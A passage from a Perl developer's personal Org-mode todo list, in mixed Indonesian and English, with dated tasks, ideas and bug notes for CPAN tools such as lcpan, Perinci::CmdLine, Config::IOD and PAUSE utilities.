karena\norg lebih rich daripada markdown, maka kita tinggal output unsupported features\nas some HTML (?) or as plain text.\n\ntujuannya gw bisa nulis tulisan dalam Org, lalu gw convert ke markdown jika\ningin posting di stackexchange, github, reddit, atau situs2x lain yang pake\nmarkdown.\n** IDEA [2014-01-24 Fri] perl module: Org::To::Markdown::GitHub\n** IDEA [2014-01-24 Fri] perl module: Org::To::Markdown::StackExchange\n** TODO [2015-03-13 Fri] dzp-ri-addprereqs: when requiring module from Riap URL, use latest version?\n** TODO [2015-03-12 Thu] ciod: delete_section: how about directive lines like !merge, should they be deleted too?\n** TODO [2015-03-12 Thu] ciodr, ciod: add attribute: allow_duplicate_section\n** TODO [2015-03-12 Thu] replace File::Slurp::Tiny with File::Slurper\n- log ::\n  + [2015-03-13 Fri] shshortcuts\n** TODO [2015-03-12 Kam] ciod: insert_section: option before_section, after_section (right before/after the first occurence of section(s) named ...)\n** TODO [2015-03-12 Kam] ciod: insert_key: option encode_json?\nso we can insert undef, array etc more conveniently\n** TODO [2015-03-12 Kam] ciod: insert_key: fix implementation of option top\n- should be before other keys so:\n\n: [foo]\n: ; comment   <--- not before this line\n: ; comment\n: ;!directive\n: a=1   <---- before this line\n: b=1\n\n** TODO [2015-03-12 Kam] ciod: update_key\n- will do nothing if key doesn't exist\n- what about multiple occurences?\n** TODO [2015-03-12 Kam] ciod: insert_key: option comment\n- must validate value first whether comment can be added or not, for example\n  value must not contain ';' or '#'. unless it's encoded/quoted.\n** TODO [2015-03-12 Kam] ciod: insert_key: option before_key, after_key\n- not all comments are allowed? depends on encoding?\n** FIXED [2015-03-12 Kam] RT#102700 recursive dep (upf -> perisargent-unix_user etc -> compunix -> upf)\n- harusnya, dependency ke perisargent-* utk x.schema.entity saat ini hanya jika\n  ada cli, jadi dzp-ri-addprereqs perlu juga parse pericmd-based clis, get their\n  metadatas for each subcommand and perform adding prereqs (dengan konteks\n  cli=1). sementara pada konteks bukan cli (saat extract dari module), ga usah\n  add prereq ke dzp-ri-perisargent-*.\n- oya sekalian, saat scan metadata dari cli, sekalian modul perl-nya juga\n  dijadiin prereq jika bukan dari current dist.\n- log ::\n  + [2015-03-13 Fri] fixed\n** TODO [2015-03-12 Kam] [opt] find a case where we are forming a large string by joining from a large array of string parts, we can get better speed if we join some of the strings first (e.g. per line of block) to avoid creating a very large array\n- contoh kasus, di Config::IOD gw join string per line dulu, baru join lagi jadi\n  final, ketimbang join satu kali. bisa 1.5-8x lebih cepat tergantung dari\n  datanya.\n** TODO [2015-03-11 Wed] le, ciod, ciodr: take a look at Math::Calc::Parser, its code has a simple ad-hoc regexp-based parser which can perhaps be used\nthe parser can only parse math operations, e.g. + * / % ^ , parenthesis\nfunctioncall. but we can extend this a bit.\n\nthe upside is: the code is simple and startup overhead is low (<0.01s), compared\nto using Marpa or Regexp::Grammars.\n\nit uses Math::Complex, the module should be delay-loaded.\n** TODO [2015-03-11 Wed] pericmd-classic, pericmd-lite: put base classes' {attributes, methods} POD to our POD, using DZP:InsertBlock\n** TODO [2015-03-07 Sab] ri: args_groups: rel=req_one_of\n- untuk require one of. ini gak bisa diimplement di per-arg 'req' property.\n- kalo req_all, bisa, tinggal set req=1 aja di semua arg\n- bagaimana jika ingin req any 2 (or 3, ...) of ?\n** WISHLIST [2015-03-08 Sun] perialite: add option to wrap\n** TODO [2015-03-04 Wed] ri: x.schema.entity should've just been schema's type\n- it's just types actually\n** TODO [2015-03-04 Wed] perl module: DateTime module (+ lower-level function) to convert between google chrome timestamp and unix epoch\n- note :: microseconds after jan 1 1601 UTC\n- ref :: http://stackoverflow.com/questions/20458406/what-is-the-format-of-chromes-timestamps\n- also, there's nanoseconds after jan 1 1601 (windows NT timestamp)\n** TODO [2015-03-04 Wed] perl module: pengganti/suplemen/wrapper cron\n- keywords :: cron replacer, cron wrapper, cron substitute, cron supplement\n- kekurangan cron yang ingin gw hilangkan:\n  + ga bisa testing (run dry-mode dengan time tertentu, lihat mana command yang\n    dijalankan; run arbitrary command NOW). contoh:\n\n    % cmd list-cmds\n    % cmd run <cmd-id>\n    % cmd list-executions [--from 2015-03-01T00:00:00] --to tomorrow\n      id  cmdline                  time\n      1   /some/cmd ...            2015-03-01T07:00\n      2   /another/cmd ...         2015-03-02T00:00\n      ...\n      3   /yet/another/cmd 1 2     2015-03-04T18:02 (2 minutes from now)\n      1   /another/cmd ...         2015-03-04T19:00 (an hour from now)\n\n    - also an option to run all commands from now to some time\n    - an option whether the commands being run should be run again when their\n      actual time arrives\n    - disable an execution at specific time (disable/pending all crons matching\n      command Z (either by ids, or by regex on cmdline, from time X to Y)\n    - pokoknya testing oriented\n  + notifikasi selain email, contoh gw ingin jalankan lokal aja di komputer gw,\n    tanpa ada mail subsystem.\n  + subminute precision\n- bisa menerima perintah lain selain\n- fail recovery strategy: repeat? etc\n- time limit, etc. incorporate Proc::Govern\n- more than once a minute precision\n- dependency-based scheduler (or other criteria) other than time-based\n- more flexible/complex time specification\n- implementation: keep a table of the next executions for the next 24hours (or\n  more, or less, configurable; depending on user's query needs)\n- note: when a time specification is changed, we should recalculate the table\n- can import/interoperate/export with other schedulers: export to cron, ...\n  (what other popular schedulers are out there?)\n- add some nice things:\n  + API/cmdline interface\n  + supplement/wrap instead of replace cron, cron is too widely deployed it's\n    almost impossible to replace it.\n** TODO [2015-03-01 Sun] ganti completion property menjadi x.schema.{entity,element_entity} di berbagai module & script\n- contoh di pmutils, plutils, etc (yang memang banyak completion routines-nya).\n** IDEA [2015-03-03 Sel] perl module: some more Perinci::Sub::ArgEntity::* modules\n- rename filename to file_name?\n- yang berikut ini sudah dibuatkan github repo-nya semua:\n  + unix_user\n  + unix_group\n- yang berikut ini belum:\n  + perl_module? (perl_module_name? cpan or installed?)\n  + dirname (or dir_name?)\n  + pid\n  + unix_uid?\n  + unix_gid?\n- log ::\n  + [2015-03-07 Sat] unix_{user,uid,group,gid}\n** TODO [2015-03-03 Sel] periga-ary, pericmd-lite: ux: Improve error message when there are extra unassigned command-line arguments\n- probably by periga-ary providing func.err_type and pericmd reformat/re-word\n  that error message\n** IDEA [2015-03-01 Sun] ri: formalize x.schema.entity as entity?\n- or schema.entity? schema_entity?\n** TODO [2015-03-01 Sun] pericmd-lite, periswrap, periga-argv: (base class) implement args_groups\n** TODO [2015-02-28 Sab] update old entries in Changes, features that get removed/deprecated later should be noted as such\n- the specs:\n  - Rinci\n  - Riap\n  - DefHash\n  - Sah\n  - Complete\n- modules with lots of changes:\n  - pericmd-lite, pericmd-classic\n  - periswrap\n  - dsah\n- log ::\n  + [2015-03-06 Fri] upf, ri, riap\n** IDEA [2015-02-26 Thu] perl module: Object::SemiDumb [#C]\n- like Object::SemiDumb but only accept a list of methods (or regex)\n: use Object::SemiDumb 'foo', 'bar', qr/^baz_/; # for each caller can be different\n- adjustable return value?\n- hm, it's getting more complex\n** TODO [2015-02-26 Thu] switch from Log::Any to Log::Any::IfLOG for those that need low startup overhead\n- log ::\n  + Data::Sah\n  + [2015-02-26 Thu] Perinci::Sub::Wrapper (because i plan to use periswrap from\n    pericmd-lite)\n** TODO [2015-02-25 Wed] pericmd-classic, pericmd-lite: show summary in help and 'cmd --subcommands'\n- summary from subcommand spec should be shown [done]\n- summary from function meta should also be shown if url is local\n** IDEA [2015-02-25 Wed] mpathmore: handle coderef in \@INC\nThis is just an idea which I jotted down for Module::Path::More. Haven't had a\nneed for it myself.\n\nSomeone might need a behavior that's closer to what require() does and need\ncoderef in \@INC handled. See the require section in perlfunc.\n\n(Also posted as issue in Module::Path's github).\n** WISHLIST [2015-02-25 Wed] bor: like in gkg.net, when we enter a credit card number, the credit card field automatically disappear/becomes irrelevant because type can be deduced from number\n** TODO [2015-02-24 Tue] periscomp: complete arg value: date\n- use iso8601\n- 2015-<tab> -> 01 s.d. 12\n- 2015-01-<tab> -> 01 s.d. 31\n- date as well as datetime\n** TODO [2015-02-19 Kam] split bin/peri-access, etc from its library module (Perinci::Access, etc) for better minimal dependencies\n** TODO [2015-02-17 Tue] replace App::Options with Perinci::CmdLine (or anything reall, i hate having to do --foo=val instead of --foo val)\n** TODO [2015-02-14 Sat] sah: default choices for string (or int/float/other scalar), but value is not restricted to those\n- so, in html form, like a combined select + drop down to select some values but\n  we can set it to other values.\n- perhaps: ['str*', in=>[qw/foo bar baz/], \"in.err_level\"=>\"ignore\"]; # nope,\n  doesn't like it very much\n** TODO [2015-02-14 Sab] bor: html tweaks\n- use description as hints/balloon tips? or as paragraph text under the caption?\n- add another property hint/tips?\n- html5: hint that a field can only contain number (int or float)\n- how to hint that argument should be rendered as textarea? textarea width,\n  height, whether it should display wysiwyg editor, line numbers. markdown?\n- date data and calendar widget\n** BUG [2015-02-10 Tue] lcpan: update-index still has a bug apparently, deps got lost over time?\n- for example:\n: % lcpan deps Perinci::CmdLine::Any\nonly results in:\n: +------------------------+----------+\n: | module                 | version  |\n: | Getopt::Long::Complete | 0        |\n: | Log::Any               | 0        |\n: | perl                   | 5.010001 |\n: +------------------------+----------+\n** IDEA [2015-02-07 Sab] perl module: functional API module for metacpan, like WWW::PAUSE::Simple (and pause cli)\n** IDEA [2015-02-07 Sab] perl module: functional API module for search.cpan.org (scraping), like WWW::PAUSE::Simple (and pause cli)\n** IDEA [2015-02-22 Min] perl module: functional API module for cpanratings.perl.org (scraping), like WWW::PAUSE::Simple (and pause cli)\n** IDEA [2015-02-23 Sen] perl module: functional API module for ... (scraping), like WWW::PAUSE::Simple (and pause cli)\n*** daftar website perl\n+ metacpan.org\n+ search.cpan.org\n+ cpanratings.perl.org\n+ prepan.org\n+ X blogs.perl.org\n+ ironman.enlightenedperl.org\n+ cpants.cpanauthors.org\n+ cpan testers\n+ acme.cpanauthors.org\n+ cpancover.com\n+ cpan.io\n+ X perlmaven\n+ doc.perl6.org\n+ perldoc.perl.org\n+ perl advent\n+ perlweekly\n+ * rt.cpan.org\n  - get tickets of a distribution\n  - get (open) tickets for a user\n  - search tickets\n+ rt.perl.org\n*** daftar website yang sering gw pake\n+ gmail\n+ reddit\n+ hackernews\n+ github\n+ twitter\n+ facebook?\n+ google search\n+ google image search\n+ youtube\n+ stackexchange\n+ wikipedia\n+ slashdot\n+ solidot\n+ osnews?\n*** daftar webapp yang sering gw pake\n+ wordpress\n+ phpBB\n+ vBulletin?\n+ mediawiki\n** IDEA [2015-02-09 Mon] perl module: show a table data as html with sortable table (see module PHPLive::Report)\n** IDEA [2015-02-09 Mon] perl module: show a table data interactively on terminal, allow re-sorting, reordering/hiding/re-showing columns, etc\n- gw sih inginnya Text::ANSITable trus ada opsi browse lalu redraw jika ingin\n  re-order or whatever\n- bisa juga sih pake Ticket::Widget::Table\n** TODO [2015-02-09 Mon] apa ada yang perlu menggunakan weak_ref di clause attribute Moo/Moose projek gw?\n** TODO [2015-04-04 Sab] periswrap: move/add checking of args_groups from periga-argv to also in periswrap\n- we want checking not only in cli, but also when calling functions\n- should we generate compiled version for higher performance?\n- perhaps create another module: Perinci::Sub::CheckArgsGroups?\n** TODO [2015-02-07 Sab] periga-argv, pericmd: should 'deps' and 'args_groups' checking be done (only) in periga-argv, or (also) in pericmd after cmdline_src handling?\n** TODO [2015-02-07 Sab] periscomp: be smarter with help from 'args_groups'\n- if [aa,bb,cc] is a one_of group, when --aa has been specified, no longer\n  provide bb and cc in list of options even though they have not been mentioned\n  yet.\n- that's it for now :)\n** TODO [2015-02-07 Sab] peri2doc: Add notes from 'args_groups' func prop & 'deps' arg spec prop\n- This argument is only relevant when argument 'foo' is specified.\n- Only one of arguments 'delete', 'edit', 'add' can be specified.\n- If this argument is specified, then the following argument(s) must also be\n  specified: ...\n** TODO [2015-02-07 Sab] pwp-ri: Add notes from 'args_groups' func prop & 'deps' arg spec prop\n** TODO [2015-02-07 Sab] peris2clidocdata: improve/tweak usage line\n- instead of just: 'prog [options] <pos0> <pos1> ...'\n- list require options: 'prog --reqopt1 1 --reqopt2 2 [other options]'\n- from arg spec 'deps' property, e.g. (force depends on delete): 'prog [--delete [--force]]'\n- from func prop 'args_groups', rel=one_of: 'prog [--delete | --add | --edit]'\n- from func prop 'args_groups', rel=all: 'prog [--red=i --green=i --blue=i] --otheropts ...'\n** TODO [2015-02-07 Sab] periswrap: implement checking for arg spec property 'deps'\n** TODO [2015-02-07 Sab] periswrap: implement checking for func property 'args_groups'\n** TODO [2015-02-07 Sab] ganti die menjadi croak where appropriate\n** DONE [2015-02-07 Sab] cleanup pause: Perinci-CmdLine\n- log ::\n  + [2015-03-19 Thu] done, terakhir tinggal rsybak yang masih depend, gw rebuild\n    dan rerelease. lalu hapus pericmd.\n** TODO [2015-02-07 Sab] ipcsysopts, ipcsysloc: add tests, including allowing default opts in 'use'\n** TODO [2015-01-31 Sab] eta2zero: make sleep/delay configurable, automatically pick appropriate value\n** TODO [2015-01-31 Sab] eta2zero: allow specifying progress bar width?\n** TODO [2015-01-31 Sab] eta2zero: allow disabling color (i think it already can, we just need to document how)\n** TODO [2015-01-31 Sab] cryptpwutil: some bcrypt hash also has \$2y\$ header (in addition to \$2\$ and \$2a\$)\n** TODO [2015-02-23 Sen] perl module: tabify (release first version)\n** TODO [2015-01-31 Sab] tabify: -i and -i.ext (like perl) doesn't work yet\n** TODO [2015-01-31 Sab] tabify: implement --(no)indent-only\n** TODO [2015-02-04 Wed] periswrap: Test::Perinci::Sub::Wrapper: handle when result_naked=>1\n** TODO [2015-01-30 Fri] write/find a script to download wordpress.com blog\n** BUG [2015-01-29 Thu] progany, progany-tpc: when target is undefined, why show '1s left' all the time, instead of perhaps '?? left'\n** WISHLIST [2015-01-29 Thu] lcpan: configuration: author (tell the program who/which cpan author the user is, this will be used for various purposes)\n** WISHLIST [2015-01-29 Thu] lcpan: plugin: after update, alert if there is a new dist that depends/uses on one of my modules\n** WISHLIST [2015-01-29 Thu] lcpan: maintain some watchlist for some modules/dists, and alert if there is a new version (or module/dist is deleted from mirror, etc)\n** TODO [2015-01-28 Wed] progany-ts, progany-tpc: only do fixups when fh is STDOUT/STDERR, there's no need to do fixups/patches if one/both is not to screen [#C]\n** TODO [2015-01-28 Wed] progany-ts: support colors (including color change during spinning)\n** TODO [2015-01-28 Wed] progany-ts: support wide characters\n** TODO [2015-01-23 Fri] progany: refactor: regarding message marked for String::Elide::Parts, don't make each individual output deal with this\n** TODO [2015-01-23 Fri] strelideparts: add option at_space like String::Truncate?\n- so far i don't need it and don't quite prefer it though\n** TODO [2015-01-22 Thu] lcpan: write plugin: rank authors by number of other authors prereqs-ing his modules\n** TODO [2015-01-22 Thu] lcpan: write plugin: rank authors by ...?\n** TODO [2015-01-22 Thu] lcpan: write plugin: rank modules by number of reverse deps\n** TODO [2015-01-22 Thu] lcpan: write plugin: rank dists by number of deps (heaviest dists)\n** TODO [2015-01-22 Thu] http-tiny-progany, lwp-ua-progany: refactor: combine common code to avoid duplication\n** IDEA [2015-01-21 Wed] pericmd, pericmd-lite: cli app that can receive json stream/stream input or json (table: aos, aohos)\n- on the function side, i think i still want function to just accept coderef, to\n  be simple. pericmd framework is the one that converts the table to stream of\n  records.\n- needs an input to select which we want: --input-format json-stream (the\n  default) or --input-format. so --format should be --output-format? but this\n  breaks compatibility.\n** TODO [2015-01-20 Tue] periap: update to Rinci 1.1.71 (streaming input & output using coderef only)\n** TODO [2015-01-20 Tue] periahs, periahc: update to Rinci 1.1.71 (streaming input & output using coderef only)\n** IDEA [2015-01-20 Tue] pericmd-lite: refactor: extract formatting functionality to a module\n- so it can be reused by fsql and 'table'\n** IDEA [2015-01-20 Tue] perl module: TableData::Object? and 'table' (cli)\n- utk table operation\n- nice to have: support streaming table\n- imagined interface:\n\n: % table -MModule::Path=module_path --add-col-perl path:'module_path(\$_)'\n: % lcpan modules Foo --detail | table --add-col-perl ...\n\n: % table --reorder-cols\n\n: % table --del-col foo --del-col bar\n\n: % table --filter-rows EXPR\n\n: % table --sort\n\nanother way to reorder columns\n\n: % something-that-produces-table | table --del-cols --add-col c2 --add-col c1\n\n: % table --rename-col OLD NEW\n\n*** API (function-level):\n: new(\$scalar | \$aos | \$aoaos | \$aohos | \$empty_hash | \$empty_ary)\n\n: rows_as_hash\n: rows_as_array\n: row_as_array(\$n) -> get a single row\n: row_as_hash(\$n) -> get a single row\n: as_aoaos\n: as_aohos\n\n- a way to specify table spec\n- subclasses for each aos/aoaos/aohos\n** IDEA [2015-01-26 Sen] lcpan command: author-info\n- fullname, email\n- number of dists, number of modules, number of releases on the mirror, last N\n  releases, last release time\n** DONE IDEA [2015-01-26 Sen] lcpan command: authors-by-rel-count\nselect cpanid,(select fullname from author where author.cpanid=t1.cpanid) authorname,count(*) dists from (select name,(select cpanid from file where file.id=dist.file_id) cpanid from dist) t1 group by cpanid having dists > 100 order by dists desc;\n\ntambahin field ranking\n- log ::\n  + [2015-03-10 Tue] done, jadinya by-rel-count, bukan by-dist-count\n** DONE IDEA [2015-01-26 Sen] lcpan command: authors-by-mod-count\n- log ::\n  + [2015-03-10 Tue] done\n** IDEA [2015-01-26 Sen] lcpan command: all-rdeps-by-others\n** DONE IDEA [2015-02-05 Thu] adakah cara yang lebih baik daripada 'prefork' module?\n- misalnya: load_for_prefork \"Foo\" yang juga akan melihat (dengan static\n  analysis, but woa so slow) module yang direquire\n- sewaktu build, kita kumpulkan dan taruh dan generate 'prefork' dynamically\n  dengan dzil plugin?\n- log ::\n  + [2015-03-20 Fri] idea: a dzil plugin that adds modules required in the sub\n    etc to this to module during build:\n\n    use if \$ENV{DAEMON}, 'My::Module1'; use if , 'My::Module2';\n  + [2015-03-24 Tue] done, gw bikin preload pragma dan DZP:Preload (i prefer the\n    second way)\n** TODO [2015-02-05 Thu] pause-simple: list: add sorting options\n** WISHLIST [2015-03-18 Wed] pause-simple: subcommand to delete all dev releases?\n** WISHLIST [2015-02-06 Fri] pause-simple: add completion for delete & undelete & reindex: file argument (perform list_files then cache it for a few minutes)\n- CHECKSUMS need not be included because it's not deleteable\n- for reindex, ~*.readme~ are also not included.\n** TODO [2015-02-06 Fri] pause-simple: add delete-dist subcommand which will delete all Dist-Name-*.{tar.gz,meta,readme} files\n** TODO [2015-02-05 Thu] pause-simple: implement the rest of the functions: set_password, set_account_info\n- log ::\n  + [2015-02-06 Fri] done: delete, undelete, reindex.\n** DONE [2015-02-05 Thu] pause-simple: implement clean_old_releases function ('pause clean')\n- provide an option: number of old releases to keep, or maximum age of old\n  releases to keep. UPDATE: maximum age is not a good option.\n- log ::\n  + [2015-03-18 Wed] done.\n** TODO [2015-02-05 Thu] pause-simple: implement (get_)?account_info function\n** TODO [2015-02-05 Thu] pause-simple: implement permission-related functions [#C]\ni seldom use this though\n** BUG [2015-01-25 Min] pericmd, pericmd-lite: annoying: die message that are references are not displayed properly yet\n- for example, if i forgot to add 'result_naked=>1' to bin/pllines, it'll die:\n: ERROR HASH(0x1b69d48):\n** WISHLIST [2015-01-25 Min] cryptpwutil: support more crypt types\nthere are still lots of crypt types supported in Authen::Passphrase which have\nnot been recognized (i'm usually adding new types on a as-needed basis).\n\naside from that, there's also sha224 and sha384, used/supported in postgres.\n\nthere's bound to be more.\n** WISHLIST [2015-01-25 Min] cryptpwutil: crypt(): try BCRYPT first\nBCRYPT is now the recommended default and should be tried first.\n** DONE [2015-01-17 Sat] lcpan, pericmd: --cpan should really be a \"common\" arg\n- in the doc they should belong to common options instead of being repeated for\n  every subcommand.\n- as well as in --help message.\n- this is perhaps just an issue of peris2clidocdata. perhaps add tag :common to\n  this arg?\n- log ::\n  + [2015-02-06 ] done\n** TODO [2015-01-18 Sun] subiter: what if the array changes?\n** TODO [2015-01-18 Sun] subiter: option to rewind if read past end\n** TODO [2015-01-18 Sun] subiter: option for starting position\n** TODO [2015-01-18 Sun] subiter: option to die if read past end\n** TODO [2015-01-18 Sun] subiter: option to return (\$item, \$pos) instead of just \$item\n** TODO [2015-01-18 Sun] subiter: option to reverse iteration direction\n** TODO [2015-01-18 Sun] subiter: option for peekable iterator\n** TODO [2015-01-17 Sab] periswrap: support check_arg (Rinci 1.1.59)\n** TODO [2015-01-17 Sab] periswrap: test argument validation for when stream=1 and there is submeta/element meta\n- i think stream should be ignored/assumed to be 0 for submetadata, this has not\n  been done in the code.\n** DONE [2015-01-16 Jum] lcpan: plugin system\nsubcommand names need to be expressed in module name, so we never have to load\nthem first (remember how slow dzil is), e.g.:\n\n: App::lcpan::Cmd::foo\n: App::lcpan::Cmd::FooBar -> turns into foo-bar? or ::foo_bar?\n\ni tend to the later because the first one will have trouble with uniqueness\nlater, e.g. fooBar\n\ninside the module, there's handle_subcommand() so the main app can later add\nthem to pericmd-lite via:\n\n: \$subcommands{\"foo-bar\"} = {url=>\"/App/lcpan/Cmd/foo_bar\"};\n\nCmds to write:\n\n- rdeps-by-others SHARYANTO\n- rdeps-by-others SHARYANTO PERLANCAR; # dists that need these modules published\n  by these guys but not by these guys\n\nhooks, e.g. plugin to support\n\nconfiguration can regulate which plugins are disabled, or only activate certain\nplugins only. the default is to include all plugins, but if there is:\n\n: include_plugin=[\"Cmd::foo_bar\", \"Cmd::baz\", \"Cmd::a*\"]\n\nthen only include those plugins. or if there is only:\n\n: exclude_plugin=[\"Plugin::MakefilePL\"]\n\nthen by default load all plugins but exclude those.\n- log ::\n  + [2015-03-10 Tue] done, belum ada exclude_plugin/include_plugin, handle_cmd()\n    instead of handle_subcommand() (simply because the former is shorter).\n** CANCELLED TODO [2015-01-15 Thu] lcpan: write cli queries shown in More Example Queries in bin/lcpan\n- log ::\n  + [2015-01-17 Sab] i'll write them as plugins instead\n** IDEA [2015-01-15 Thu] lcpan: subcommands modinfo, distinfo, authorinfo\n- not really sure yet though what information to put there (aside from those\n  that already in modules --detail, dists --detail, authors --detail).\n** WISHLIST [2015-01-15 Thu] peri2doc: apply templating to summary & description\nparticularly i want something like {arg:foo} and {function} and {arg}. In cli\nprograms, i want them to read '`--foo` option' and `program` and `option`. While\nin POD documentation i want them to be rendered as '`arg` argument', 'function',\nand 'argument'.\n** TODO [2015-01-15 Thu] _cpanm, lcpan: need to refactor the way one uses Perinci::CmdLine::Util::Config\n- it's currently ugly\n** TODO [2015-01-14 Wed] pericmd, pericmd-lite: perhaps an attribute to regulate whether error in config file result in fatal/abort or ignore the config?\n- currently it will die because error in Config::IOD::Reader is not trapped\n- perhaps the attribute/configuration should be put in Config::IOD::Reader?\n** TODO [2015-01-13 Tue] lcpan: implement stats --verbose\n- disk_space\n** TODO [2015-01-13 Tue] lcpan: offer some choices of minicpan updating\n- default, -c CPAN::Mini::LatestDistVersion, CPAN::Mini::Devel,\n  CPAN::Mini::Devel::Recent, with patch\n  -MLWP::UserAgent::Patch::FilterMirrorMaxSize=-size,X,-verbose,1,\n  CPAN::Mini::Tested,\n- CPAN::Mini::FromList?\n- but not CPAN::Mini::Extract\n** TODO [2015-01-11 Sun] pericmd, pericmd-lite: streaming output: support object with getitem() method (currently only getline() is supported)\n- according to Rinci spec, it should be supported\n** IDEA [2015-01-11 Sun] perl module: Complete::CPAN\n- either query to local CPAN::SQLite db, or to a completion service (i'll set\n  and maintain this, e.g. http://completion.cpanlists.org/api/)\n- the order can be switched/modified using \$Complete::CPAN::OPT_SEARCH_ORDER,\n  e.g. the default is \"http://completion.cpanlists.org/api/\n  file:/cpan/cpandb.sqlite\"\n** IDEA [2015-01-10 Sat] pmutils: pmuninst: option to uninstall prereqs when uninstalling a module?\nlike in most linux package managers. for example, i'm uninstalling XPAN::Query.\nthis should automatically uninstall App::XPANQueryUtils since it depends on\nthat.\n** BUG [2015-01-10 Sab] pericmd-dump: not all attributes are dumped into hash (Mo/Moo issue?)\n- we'd need to access each attribute at least once to get them to be recorded in\n  the hash?\n** WISHLIST [2015-01-10 Sab] script (bash?) to switch proj/pd more easily (with completion, of course)\n** TODO [2015-01-10 Sab] cpansqliteutils: deps & rev_deps: optimize query, usually it takes several seconds for tens+ dependencies, which is too slow for my taste\n** TODO [2015-01-09 Fri] script to check which of my modules not yet indexed in PAUSE (CPAN::SQLite db)?\nprobably as easy as:\n\nsetop --diff <(list-local-cpan-modules --cpan ~/darkpan-cpan) <(list-local-cpan-modules --cpan /cpan)\n** TODO [2015-01-09 Fri] cpansqliteutils: recursive/multi-level should be breadth-first and not depth-first\notherwise the output is slightly weird:\n\n: \$ list-local-cpan-deps Rinci -l2\n: +---------+----------+\n: | module  | version  |\n: | DefHash | v1.0.6   |\n: |   perl  | 5.010001 |\n: +---------+----------+\n\nwhile we would normally want:\n\n: \$ list-local-cpan-deps Rinci -l2\n: +---------+----------+\n: | module  | version  |\n: | DefHash | v1.0.6   |\n: | perl    | 5.010001 |\n: +---------+----------+\n\n** IDEA [2015-01-09 Fri] pericmd, pericmd-lite: read per-subcommand environment variable? [#C]\nFor subcommand, the default environment name is like above but before C<_OPT>,\nsubcommand name is added (with the same conversion as program name). So for\nC<cpandb-cpanmeta index> the default environment name is\nC<CPANDB_CPANMETA_INDEX_OPT>.\n\nThis setting can be overriden by the C<env_name> key for each subcommand.\n** PENDING [2015-01-09 Fri] pericmd, pericmd-lite: add --no-env (like --no-config) to disable reading env vars? [#C]\n- it's a bit tricky, because the way it is now implemented, the env is prepended\n  to the command-line *before* parsing arguments.\n** TODO [2015-01-08 Thu] make Builtin::Logged based on IPC::System::Options (and add log option to IPC::System::Options)\n- the Log::Any dependency should be in Builtin::Logged and not\n  IPC::System::Options?\n** TODO [2015-01-08 Thu] peris2clidocdata: include required options in usage line\n- example:\n: cpandb-cpanmeta deps [options] <module>\nshould be (because --cpan option is required)\n: cpandb-cpanmeta deps --cpan <path> [options] <module>\n** TODO [2015-01-08 Thu] _cpanm: add query to external service (probably need to setup this service)\n- log ::\n  + [2015-01-18 Sun] we have used lcpan for local, but for remote sources we\n    also need a service. MetaCPAN::Client and CPANDB are not ideal because of\n    slow response.\n** TODO [2015-01-08 Thu] setup servis utk tab completion of cpan pauseids, package/module names, dist names\n- paling gampang sih download 02packages. secara berkala (bisa tiap jam sekali\n  atau even tiap 15 menit sekali) dan refresh database. lebih mending daripada\n  CPANDB yang utk generatenya butuh waktu lama.\n- jangan lupa utk update index in the background dan tidak pernah mengganggu\n  kecepatan query.\n** TODO [2015-01-09 Fri] compfile, compriap, computil: when Complete's OPT_DIG_LEAF option has been rethought and no longer experimental, expose it\n** DONE IDEA [2015-01-08 Thu] perl module: a one-stop solution of cpan mirroring (CPAN::Mini), indexing (CPANDB or whatever + API & CLI wrapper), to your local hard-drive\n- integrated with joyperl (my one-stop solution for releasing): when release\n  automatically upload to PAUSE as well as inject to CPAN mirror\n- log ::\n  + [2015-01-18 Sun] last week i've created App::lcpan.\n** IDEA [2015-01-08 Thu] perl module: (dzil plugin?) when we upload a dist to PAUSE/CPAN, automatically add some friends as co-maintainer?\n- for when we are MIA, other people can release it.\n** IDEA [2015-01-08 Thu] a service to track cpan author's activity (on rt.cpan.org, upload to PAUSE, ...)\n- this information can give a clue whether a cpan author is currently active or\n  'missing'. to help estimate whether a fixed release can be expected in a near\n  future.\n** IDEA [2015-01-07 Wed] perhaps combine all the Filename::* into a single module (or create an interface module for this?)\n- but i don't know about the goal here\n- if we want to know the type of a file, there is already File::LibMagic et al\n** BUG [2015-01-07 Wed] pwp-ri, pleg: can't build because pwp-ri inserts OPTIONS POD section to bin/perl-example-die even though it should not (it's not a Getopt::Long::Complete or Perinci::CmdLine script)\n** IDEA [2014-07-24 Thu] add completion for some popular CLI application on CPAN, to make glcomp (or pericmd) more popular\n** IDEA [2014-07-24 ] perl module: App::LZ4 (cli for Compress::LZ4) [#C]\n** IDEA [2014-10-07 Tue] cpanlists: how to collect users installing this module also install...? upload modlist to server.\n** TODO [2014-10-07 Tue] periswrap: handler: lakukan extra processing spt trim space n typo hanya jika flag on. buat web form only for human error tp tdk jika lewat http api.\n** IDEA [2014-10-07 Tue] situs/arch spt cpantesters tpi utk bechmark. benchmark code ditaruh di ... :2blog:\n** IDEA [2014-10-07 Tue] perl module: pericmd-starter (a la module starter)? i hate boilerplate generator though. [#C]\n** IDEA [2014-08-27 Wed] perl module: game yg mirip wheel of fortune. Tebak saying/peribhs. Komsonan aj. Vowel hrs beli.\n** IDEA [2014-08-27 Wed] perl module: regularly get autosuggest search utk common/various things to give you random ideas. \"How to\", \"how to create\", \"the problems of\", etc etc.\n*** phrases/prefixes\n- {how to} {make,create,generate} + {your own,my own}\n- why does\n- why is {my,your,his,her,their,our,}\n- why are ...\n\n** CANCELLED IDEA [2014-08-27 Wed] perl module: pod::weaver::section::(script::)installation.\n- how to install module or script.\n- check if module is in debian, if yes then mention about apt-get et al\n- check if module is in ppm ...\n- how to install using perlbrew\n- perhaps make this plugin has plugins?\n- log ::\n  + [2015-02-22 Min] cancel, sudah ada di cpan, dibuat oleh DOHERTY (2013), utk\n    uninstallation belum ada sih tapi i lost interest.\n** CANCELLED IDEA [2014-08-27 Wed] perl module: pod::weaver::section::uninstallation\n- log ::\n  + [2015-02-22 Min] cancel, see idea about Installation\n** TODO [2014-08-27 Wed] procgov: add feature to limit number of instances (like App::single, Sys::RunAlone, and similar module)\n- option: location of pid/info file, n (max number of instances)\n** IDEA [2014-08-27 Wed] perl module: cpan::changes::group::rincifunctions.\n- list which functions are added/removed (/renamed, if we add rename detection)\n- for each function, which arguments are added/removed (/renamed, if we add\n  rename detection)\n- for each argument, check if type is changed\n- result might look something like DBIx::Diff::Schema\n- create a separate module that actually does this: Perinci::Sub::Diff?\n** TODO [2015-01-07 Wed] pericmd, pericmd-lite: Change config backend from IOD to Config::Tree (when Config::Tree is done)\n** DONE [2014-08-27 Wed] pericmd-lite: support table data (TableDef) like in pericmd-classic\n- the formatting routine in pericmd-lite also needs to read result metadata\n  property result_format_options -> text, then see the table_column_types and\n 